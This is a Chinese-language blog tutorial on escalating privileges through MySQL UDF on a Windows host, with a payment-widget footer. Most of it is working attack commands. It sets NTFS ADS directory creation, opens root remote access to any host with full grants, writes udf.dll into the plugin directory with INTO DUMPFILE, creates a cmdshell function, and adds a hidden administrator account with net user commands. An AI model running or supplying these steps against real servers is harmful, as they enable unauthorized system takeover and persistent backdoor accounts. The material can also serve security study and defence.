Mysql udf提权

Mysql udf提权


操作系统信息和MySQL数据库信息共同决定了udf提权时dii文件导出的位置,通过获取目标服务器的操作系统信息和MySQL数据库版本信息为后续提取奠定基础。

1,获取目标操作系统信息,查看操作系统信息的方法有很多,如果能够执行命令的话,可以通过“systeminfo”命令来获取,如果不能执行命令的话,可以再nmap中通过"nmap target -O"来获取。在这里插入图片描述
2,获取目标MySQL版本信息,不同版本MySQL进行udf提权时需要导出的dll文件位置不同,所以获取MySQL版本信息非常重要。可以通过执行”mysql\bin\mysql.exe -V“命令和执行select version()查询语句两种方法获取mysql版本。在这里插入图片描述
3,实验环境MySQL版本为5.1.40-community,提权时需要udf.dll放在MySQL安装目录的lib\plugin目录下,因此首先需要确认该目录是否存在,如果不存在可以通过NTFS ADS来创建目录在这里插入图片描述
利用NTFS ADS创建lib目录,注意windows环境下目录路径需要转义
select 'xxx' into outfile 'C:\\mysql\\mysql-5.1.40-win32\\lib\::$INDEX_ALLOCATION';、在这里插入图片描述
这里提示已经创建过了
在这里插入图片描述
利用NTFS ADS创建plugin目录
select 'xxx' into outfile 'C:\\mysql\\mysql-5.1.40-win32\\lib\\plugin\::$INDEX_ALLOCATION'; 在这里插入图片描述

目标主机开启MySQL远程连接,并且攻击者已经获得MySQL数据库连接的用户名和密码信息,通过udf手工提权获得操作系统管理员权限。
1,开启目标主机的MySQL远程连接,依次执行如下命令:

  use mysql;

      update user set host = '%' where user = 'root';

      select host,user,password from user;

      GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'mypassword' WITH GRANT OPTION;

      FLUSH PRIVILEGES;

在这里插入图片描述
2,使用Navicat MySQL管理工具连接
在这里插入图片描述
3,创建临时表
CREATE TABLE temp_udf(udf BLOB);在这里插入图片描述

4,将udf.dll二进制数据插入临时表temp_udf中,$ binaryCode 为udf.txt文件中复制的内容。

 INSERT into temp_udf values (CONVERT($binaryCode,CHAR));

在这里插入图片描述
5,将udf.dll导出到mysql安装目录下的lib\plugin\udf.dll文件中

 SELECT udf FROM Temp_udf INTO DUMPFILE "C:/mysql/mysql-5.1.40-win32/lib/plugin/udf.dll"

在这里插入图片描述
6,删除临时表

DROP TABLE Temp_udf    

7,创建cmdshell函数

 create function cmdshell returns string soname 'udf.dll'

在这里插入图片描述
8,添加超级管理员

select cmdshell('net user udftester 123456 /add & net localgroup administrators udftester /add')

在这里插入图片描述
9,查看udftest用户是否假如administrator管理员用户组,将执行结果另存为”1“然后打开,即可看到udftest已经成功加入administrator管理员用户组。

select cmdshell('net localgroup administrators')

在这里插入图片描述
至此 ,一次udf提权已经完成

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值